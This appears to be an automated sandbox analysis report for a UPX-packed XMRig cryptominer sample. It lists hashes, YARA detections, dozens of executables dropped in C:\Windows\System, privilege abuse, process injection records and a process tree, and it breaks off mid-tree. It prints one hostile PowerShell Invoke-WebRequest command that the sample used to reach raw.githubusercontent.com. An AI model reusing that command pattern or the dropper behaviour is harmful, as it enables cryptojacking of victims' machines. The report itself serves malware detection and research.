xmrig | 077dd945cbde3624ffba94bf0b6e7d48d2b32e9482842ef5be598dbff9c11071

Analysis

max time kernel
148s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
27/04/2024, 05:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
Size

2.1MB
MD5

028cde6b4be81c4984cc92d357405e69
SHA1

a387a9cd8535b8b85917d15bed0a2be260f84caa
SHA256

077dd945cbde3624ffba94bf0b6e7d48d2b32e9482842ef5be598dbff9c11071
SHA512

2b3a9ab76b45006bf52b7676bf4ab3b1632fa1d17d04cfdf2856ff06eac1a6e2f85b9b9ac9a5c65e10fcab983e305cd4175ac51deb881003b64680ebb5ea2732
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82g1VQx7Va4qri:NABz

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 43 IoCs

miner

resource	yara_rule
behavioral2/memory/1376-306-0x00007FF7027D0000-0x00007FF702BC2000-memory.dmp	xmrig
behavioral2/memory/2244-320-0x00007FF62E850000-0x00007FF62EC42000-memory.dmp	xmrig
behavioral2/memory/3840-325-0x00007FF766960000-0x00007FF766D52000-memory.dmp	xmrig
behavioral2/memory/4620-324-0x00007FF6228A0000-0x00007FF622C92000-memory.dmp	xmrig
behavioral2/memory/1584-323-0x00007FF7AE0B0000-0x00007FF7AE4A2000-memory.dmp	xmrig
behavioral2/memory/3008-322-0x00007FF7CD3B0000-0x00007FF7CD7A2000-memory.dmp	xmrig
behavioral2/memory/1080-321-0x00007FF6FDFF0000-0x00007FF6FE3E2000-memory.dmp	xmrig
behavioral2/memory/784-319-0x00007FF75DA50000-0x00007FF75DE42000-memory.dmp	xmrig
behavioral2/memory/2092-318-0x00007FF649BA0000-0x00007FF649F92000-memory.dmp	xmrig
behavioral2/memory/4572-317-0x00007FF6CACE0000-0x00007FF6CB0D2000-memory.dmp	xmrig
behavioral2/memory/2972-316-0x00007FF7B3CC0000-0x00007FF7B40B2000-memory.dmp	xmrig
behavioral2/memory/5032-298-0x00007FF765440000-0x00007FF765832000-memory.dmp	xmrig
behavioral2/memory/4268-296-0x00007FF66DE10000-0x00007FF66E202000-memory.dmp	xmrig
behavioral2/memory/2056-277-0x00007FF79BE90000-0x00007FF79C282000-memory.dmp	xmrig
behavioral2/memory/436-235-0x00007FF601840000-0x00007FF601C32000-memory.dmp	xmrig
behavioral2/memory/1528-192-0x00007FF6C6140000-0x00007FF6C6532000-memory.dmp	xmrig
behavioral2/memory/4724-165-0x00007FF71CEB0000-0x00007FF71D2A2000-memory.dmp	xmrig
behavioral2/memory/1152-162-0x00007FF7C66B0000-0x00007FF7C6AA2000-memory.dmp	xmrig
behavioral2/memory/3844-55-0x00007FF6F1110000-0x00007FF6F1502000-memory.dmp	xmrig
behavioral2/memory/4008-3884-0x00007FF65A6C0000-0x00007FF65AAB2000-memory.dmp	xmrig
behavioral2/memory/4520-3887-0x00007FF7FBE90000-0x00007FF7FC282000-memory.dmp	xmrig
behavioral2/memory/3844-3889-0x00007FF6F1110000-0x00007FF6F1502000-memory.dmp	xmrig
behavioral2/memory/4008-3891-0x00007FF65A6C0000-0x00007FF65AAB2000-memory.dmp	xmrig
behavioral2/memory/3844-3893-0x00007FF6F1110000-0x00007FF6F1502000-memory.dmp	xmrig
behavioral2/memory/1584-3896-0x00007FF7AE0B0000-0x00007FF7AE4A2000-memory.dmp	xmrig
behavioral2/memory/436-3897-0x00007FF601840000-0x00007FF601C32000-memory.dmp	xmrig
behavioral2/memory/2972-3900-0x00007FF7B3CC0000-0x00007FF7B40B2000-memory.dmp	xmrig
behavioral2/memory/4520-3903-0x00007FF7FBE90000-0x00007FF7FC282000-memory.dmp	xmrig
behavioral2/memory/1152-3909-0x00007FF7C66B0000-0x00007FF7C6AA2000-memory.dmp	xmrig
behavioral2/memory/4620-3908-0x00007FF6228A0000-0x00007FF622C92000-memory.dmp	xmrig
behavioral2/memory/2056-3902-0x00007FF79BE90000-0x00007FF79C282000-memory.dmp	xmrig
behavioral2/memory/5032-3906-0x00007FF765440000-0x00007FF765832000-memory.dmp	xmrig
behavioral2/memory/3840-3911-0x00007FF766960000-0x00007FF766D52000-memory.dmp	xmrig
behavioral2/memory/1376-3917-0x00007FF7027D0000-0x00007FF702BC2000-memory.dmp	xmrig
behavioral2/memory/784-3919-0x00007FF75DA50000-0x00007FF75DE42000-memory.dmp	xmrig
behavioral2/memory/1528-3913-0x00007FF6C6140000-0x00007FF6C6532000-memory.dmp	xmrig
behavioral2/memory/2092-3916-0x00007FF649BA0000-0x00007FF649F92000-memory.dmp	xmrig
behavioral2/memory/4724-3925-0x00007FF71CEB0000-0x00007FF71D2A2000-memory.dmp	xmrig
behavioral2/memory/4268-3931-0x00007FF66DE10000-0x00007FF66E202000-memory.dmp	xmrig
behavioral2/memory/2244-3928-0x00007FF62E850000-0x00007FF62EC42000-memory.dmp	xmrig
behavioral2/memory/3008-3923-0x00007FF7CD3B0000-0x00007FF7CD7A2000-memory.dmp	xmrig
behavioral2/memory/4572-3922-0x00007FF6CACE0000-0x00007FF6CB0D2000-memory.dmp	xmrig
behavioral2/memory/1080-3943-0x00007FF6FDFF0000-0x00007FF6FE3E2000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	4560	powershell.exe
7	4560	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
4008	BUdvfjk.exe
4520	zxRJnHo.exe
1584	FRCueRe.exe
3844	IDnDOqQ.exe
1152	DxfEhth.exe
4620	pGHguZM.exe
4724	zkpkVAz.exe
1528	XJfaLSD.exe
436	HRczXOY.exe
2056	meJJFJo.exe
4268	EPkcOWY.exe
3840	ELEhQXA.exe
5032	WrCASMs.exe
1376	KJUILoV.exe
2972	pgchLDQ.exe
4572	eeUEfPs.exe
2092	YGbALiC.exe
784	EiJbrvz.exe
2244	bufzfkf.exe
1080	KsxIqPv.exe
3008	EOjEwlk.exe
644	zRNOGul.exe
376	sYcFcqO.exe
5052	LNDfzAl.exe
4156	dLeUUxT.exe
4728	ROqNdJK.exe
2032	nwUHlge.exe
4476	gXcNWlG.exe
1884	lfAhHGQ.exe
932	uzeVmbF.exe
3104	yqBdJGc.exe
1576	SsnYcFg.exe
4440	LaWZAPR.exe
3772	UzyHHtz.exe
3332	JxbRcdK.exe
5044	uYmWdBD.exe
1048	fqNakPx.exe
3296	eBkvYIN.exe
4360	iwAaxPv.exe
3892	Iadjkci.exe
2484	faOWDwG.exe
1952	zaODIXa.exe
844	QGRXuIg.exe
824	INsPYce.exe
4404	jFguhdx.exe
2788	MnXYrON.exe
4952	VydTAaq.exe
1068	LhiTjcI.exe
2088	BXimfJd.exe
2316	blBUwdc.exe
3980	MbQtGZZ.exe
4792	ZKYldOK.exe
3764	BzwmdOI.exe
5020	ujentYN.exe
3528	JOEZvGl.exe
440	KKDMXte.exe
3016	slGeuGu.exe
5060	wqanOgY.exe
4816	NYHfnhh.exe
1616	qJLJxlj.exe
3212	tQLhuDC.exe
1288	lDYjjkA.exe
4584	KiwToQu.exe
2172	QOSOuNZ.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4228-0-0x00007FF692B80000-0x00007FF692F72000-memory.dmp	upx
behavioral2/memory/4008-14-0x00007FF65A6C0000-0x00007FF65AAB2000-memory.dmp	upx
behavioral2/files/0x0006000000022f1f-11.dat	upx
behavioral2/files/0x0008000000023405-10.dat	upx
behavioral2/files/0x0008000000023408-18.dat	upx
behavioral2/files/0x000700000002340e-45.dat	upx
behavioral2/files/0x0007000000023416-78.dat	upx
behavioral2/files/0x0007000000023419-92.dat	upx
behavioral2/files/0x000700000002341a-170.dat	upx
behavioral2/memory/1376-306-0x00007FF7027D0000-0x00007FF702BC2000-memory.dmp	upx
behavioral2/memory/2244-320-0x00007FF62E850000-0x00007FF62EC42000-memory.dmp	upx
behavioral2/memory/3840-325-0x00007FF766960000-0x00007FF766D52000-memory.dmp	upx
behavioral2/memory/4620-324-0x00007FF6228A0000-0x00007FF622C92000-memory.dmp	upx
behavioral2/memory/1584-323-0x00007FF7AE0B0000-0x00007FF7AE4A2000-memory.dmp	upx
behavioral2/memory/3008-322-0x00007FF7CD3B0000-0x00007FF7CD7A2000-memory.dmp	upx
behavioral2/memory/1080-321-0x00007FF6FDFF0000-0x00007FF6FE3E2000-memory.dmp	upx
behavioral2/memory/784-319-0x00007FF75DA50000-0x00007FF75DE42000-memory.dmp	upx
behavioral2/memory/2092-318-0x00007FF649BA0000-0x00007FF649F92000-memory.dmp	upx
behavioral2/memory/4572-317-0x00007FF6CACE0000-0x00007FF6CB0D2000-memory.dmp	upx
behavioral2/memory/2972-316-0x00007FF7B3CC0000-0x00007FF7B40B2000-memory.dmp	upx
behavioral2/memory/5032-298-0x00007FF765440000-0x00007FF765832000-memory.dmp	upx
behavioral2/memory/4268-296-0x00007FF66DE10000-0x00007FF66E202000-memory.dmp	upx
behavioral2/memory/2056-277-0x00007FF79BE90000-0x00007FF79C282000-memory.dmp	upx
behavioral2/memory/436-235-0x00007FF601840000-0x00007FF601C32000-memory.dmp	upx
behavioral2/memory/1528-192-0x00007FF6C6140000-0x00007FF6C6532000-memory.dmp	upx
behavioral2/files/0x0008000000023406-188.dat	upx
behavioral2/files/0x000700000002342e-186.dat	upx
behavioral2/files/0x000700000002342c-179.dat	upx
behavioral2/files/0x0007000000023423-176.dat	upx
behavioral2/files/0x000700000002342b-173.dat	upx
behavioral2/files/0x000700000002342a-172.dat	upx
behavioral2/memory/4724-165-0x00007FF71CEB0000-0x00007FF71D2A2000-memory.dmp	upx
behavioral2/memory/1152-162-0x00007FF7C66B0000-0x00007FF7C6AA2000-memory.dmp	upx
behavioral2/files/0x0007000000023428-161.dat	upx
behavioral2/files/0x0007000000023427-160.dat	upx
behavioral2/files/0x0007000000023426-157.dat	upx
behavioral2/files/0x0007000000023424-155.dat	upx
behavioral2/files/0x000700000002342d-182.dat	upx
behavioral2/files/0x0007000000023418-149.dat	upx
behavioral2/files/0x0007000000023422-146.dat	upx
behavioral2/files/0x0007000000023421-144.dat	upx
behavioral2/files/0x0007000000023420-143.dat	upx
behavioral2/files/0x000700000002341b-174.dat	upx
behavioral2/files/0x000700000002341f-138.dat	upx
behavioral2/files/0x000700000002341e-137.dat	upx
behavioral2/files/0x000700000002341d-136.dat	upx
behavioral2/files/0x0007000000023425-156.dat	upx
behavioral2/files/0x0007000000023410-152.dat	upx
behavioral2/files/0x0007000000023417-103.dat	upx
behavioral2/files/0x0007000000023412-93.dat	upx
behavioral2/files/0x0007000000023411-91.dat	upx
behavioral2/files/0x000700000002341c-133.dat	upx
behavioral2/files/0x000700000002340a-86.dat	upx
behavioral2/files/0x0007000000023414-111.dat	upx
behavioral2/files/0x0007000000023413-107.dat	upx
behavioral2/files/0x000700000002340c-73.dat	upx
behavioral2/files/0x0007000000023415-87.dat	upx
behavioral2/files/0x000700000002340b-68.dat	upx
behavioral2/files/0x000700000002340f-61.dat	upx
behavioral2/files/0x000700000002340d-76.dat	upx
behavioral2/memory/3844-55-0x00007FF6F1110000-0x00007FF6F1502000-memory.dmp	upx
behavioral2/files/0x0007000000023409-22.dat	upx
behavioral2/memory/4520-31-0x00007FF7FBE90000-0x00007FF7FC282000-memory.dmp	upx
behavioral2/memory/4008-3884-0x00007FF65A6C0000-0x00007FF65AAB2000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
3	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\sUFiJBP.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\CQBmoMk.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\AablJHu.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\sJvZfKE.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\BWDZzVL.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\URfPwIS.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\uWUpNrt.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\EMsPpSa.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\sQHzJUc.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\ZRbKhJr.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\zTzXGwQ.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\pvdDMgY.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\HqRIJjj.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\VVaJIfY.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\UeKgdWT.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\YvyQOwm.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\gcDYrRc.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\HLQClpR.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\NwxmcbG.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\wBjbcSM.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\DuacPsp.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\EaWuyCk.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\SNMfYqg.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\DmqRCKO.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\npLoeBc.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\SmjffLi.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\xAZGlwO.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\umrQtCd.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\SyctbRy.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\dLRSVYw.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\ZAxKeXs.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\IBJRDBi.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\XQXzMhe.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\jclHEmB.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\yfnfEBy.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\zIpJpMR.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\NFjEJYO.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\uFyuGao.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\IwBzCFb.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\kdNEZHF.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\QWxfJHV.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\STqOpMj.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\kvrxesF.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\KtJnAbr.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\WBEsujq.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\evyfmhy.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\uxChzLL.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\tsyJJHm.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\MfgCZEc.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\ocOcfOo.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\IXTWFoC.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\oZsEqIM.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\BkXewOX.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\FdrhmVn.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\iFSZWZm.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\JdBKoHr.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\PUPPPGY.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\meJJFJo.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\FvXKLsJ.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\RgOdkud.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\mwXXFhV.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\QADXrZV.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\Amgrtkf.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
File created	C:\Windows\System\ukhpsxl.exe	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4560	powershell.exe
4560	powershell.exe
4560	powershell.exe
4560	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4560	powershell.exe
Token: SeLockMemoryPrivilege	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4228 wrote to memory of 4560	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	82
PID 4228 wrote to memory of 4560	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	82
PID 4228 wrote to memory of 4008	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	83
PID 4228 wrote to memory of 4008	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	83
PID 4228 wrote to memory of 4520	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	85
PID 4228 wrote to memory of 4520	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	85
PID 4228 wrote to memory of 1584	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	86
PID 4228 wrote to memory of 1584	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	86
PID 4228 wrote to memory of 3844	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	87
PID 4228 wrote to memory of 3844	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	87
PID 4228 wrote to memory of 4724	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	88
PID 4228 wrote to memory of 4724	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	88
PID 4228 wrote to memory of 1152	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	89
PID 4228 wrote to memory of 1152	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	89
PID 4228 wrote to memory of 4620	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	90
PID 4228 wrote to memory of 4620	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	90
PID 4228 wrote to memory of 1528	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	91
PID 4228 wrote to memory of 1528	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	91
PID 4228 wrote to memory of 436	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	92
PID 4228 wrote to memory of 436	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	92
PID 4228 wrote to memory of 2056	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	93
PID 4228 wrote to memory of 2056	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	93
PID 4228 wrote to memory of 4268	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	94
PID 4228 wrote to memory of 4268	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	94
PID 4228 wrote to memory of 3840	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	95
PID 4228 wrote to memory of 3840	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	95
PID 4228 wrote to memory of 5032	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	96
PID 4228 wrote to memory of 5032	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	96
PID 4228 wrote to memory of 1376	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	97
PID 4228 wrote to memory of 1376	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	97
PID 4228 wrote to memory of 784	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	98
PID 4228 wrote to memory of 784	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	98
PID 4228 wrote to memory of 2972	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	99
PID 4228 wrote to memory of 2972	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	99
PID 4228 wrote to memory of 4572	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	100
PID 4228 wrote to memory of 4572	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	100
PID 4228 wrote to memory of 2092	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	101
PID 4228 wrote to memory of 2092	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	101
PID 4228 wrote to memory of 2244	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	102
PID 4228 wrote to memory of 2244	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	102
PID 4228 wrote to memory of 1080	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	103
PID 4228 wrote to memory of 1080	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	103
PID 4228 wrote to memory of 3008	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	104
PID 4228 wrote to memory of 3008	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	104
PID 4228 wrote to memory of 644	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	105
PID 4228 wrote to memory of 644	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	105
PID 4228 wrote to memory of 376	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	106
PID 4228 wrote to memory of 376	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	106
PID 4228 wrote to memory of 5052	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	107
PID 4228 wrote to memory of 5052	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	107
PID 4228 wrote to memory of 4156	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	108
PID 4228 wrote to memory of 4156	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	108
PID 4228 wrote to memory of 4728	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	109
PID 4228 wrote to memory of 4728	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	109
PID 4228 wrote to memory of 2032	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	110
PID 4228 wrote to memory of 2032	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	110
PID 4228 wrote to memory of 4476	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	111
PID 4228 wrote to memory of 4476	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	111
PID 4228 wrote to memory of 1884	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	112
PID 4228 wrote to memory of 1884	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	112
PID 4228 wrote to memory of 932	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	113
PID 4228 wrote to memory of 932	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	113
PID 4228 wrote to memory of 3104	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	114
PID 4228 wrote to memory of 3104	4228	028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe	114

C:\Users\Admin\AppData\Local\Temp\028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\028cde6b4be81c4984cc92d357405e69_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4560
- C:\Windows\System\BUdvfjk.exe
  C:\Windows\System\BUdvfjk.exe
  2⤵
  - Executes dropped EXE
  PID:4008
- C:\Windows\System\zxRJnHo.exe
  C:\Windows\System\zxRJnHo.exe
  2⤵
  - Executes dropped EXE
  PID:4520
- C:\Windows\System\FRCueRe.exe
  C:\Windows\System\FRCueRe.exe
  2⤵
  - Executes dropped EXE
  PID:1584
- C:\Windows\System\IDnDOqQ.exe
  C:\Windows\System\IDnDOqQ.exe
  2⤵
  - Executes dropped EXE
  PID:3844
- C:\Windows\System\zkpkVAz.exe
  C:\Windows\System\zkpkVAz.exe
  2⤵
  - Executes dropped EXE
  PID:4724
- C:\Windows\System\DxfEhth.exe
  C:\Windows\System\DxfEhth.exe
  2⤵
  - Executes dropped EXE
  PID:1152
- C:\Windows\System\pGHguZM.exe
  C:\Windows\System\pGHguZM.exe
  2⤵
  - Executes dropped EXE
  PID:4620
- C:\Windows\System\XJfaLSD.exe
  C:\Windows\System\XJfaLSD.exe
  2⤵
  - Executes dropped EXE
  PID:1528
- C:\Windows\System\HRczXOY.exe
  C:\Windows\System\HRczXOY.exe
  2⤵
  - Executes dropped EXE
  PID:436
- C:\Windows\System\meJJFJo.exe
  C:\Windows\System\meJJFJo.exe
  2⤵
  - Executes dropped EXE
  PID:2056
- C:\Windows\System\EPkcOWY.exe
  C:\Windows\System\EPkcOWY.exe
  2⤵
  - Executes dropped EXE
  PID:4268
- C:\Windows\System\ELEhQXA.exe
  C:\Windows\System\ELEhQXA.exe
  2⤵
  - Executes dropped EXE
  PID:3840
- C:\Windows\System\WrCASMs.exe
  C:\Windows\System\WrCASMs.exe
  2⤵
  - Executes dropped EXE
  PID:5032
- C:\Windows\System\KJUILoV.exe
  C:\Windows\System\KJUILoV.exe
  2⤵
  - Executes dropped EXE
  PID:1376
- C:\Windows\System\EiJbrvz.exe
  C:\Windows\System\EiJbrvz.exe
  2⤵
  - Executes dropped EXE
  PID:784
- C:\Windows\System\pgchLDQ.exe
  C:\Windows\System\pgchLDQ.exe
  2⤵
  - Executes dropped EXE
  PID:2972
- C:\Windows\System\eeUEfPs.exe
  C:\Windows\System\eeUEfPs.exe
  2⤵
  - Executes dropped EXE
  PID:4572
- C:\Windows\System\YGbALiC.exe
  C:\Windows\System\YGbALiC.exe
  2⤵
  - Executes dropped EXE
  PID:2092
- C:\Windows\System\bufzfkf.exe
  C:\Windows\System\bufzfkf.exe
  2⤵
  - Executes dropped EXE
  PID:2244
- C:\Windows\System\KsxIqPv.exe
  C:\Windows\System\KsxIqPv.exe
  2⤵
  - Executes dropped EXE
  PID:1080
- C:\Windows\System\EOjEwlk.exe
  C:\Windows\System\EOjEwlk.exe
  2⤵
  - Executes dropped EXE
  PID:3008
- C:\Windows\System\zRNOGul.exe
  C:\Windows\System\zRNOGul.exe
  2⤵
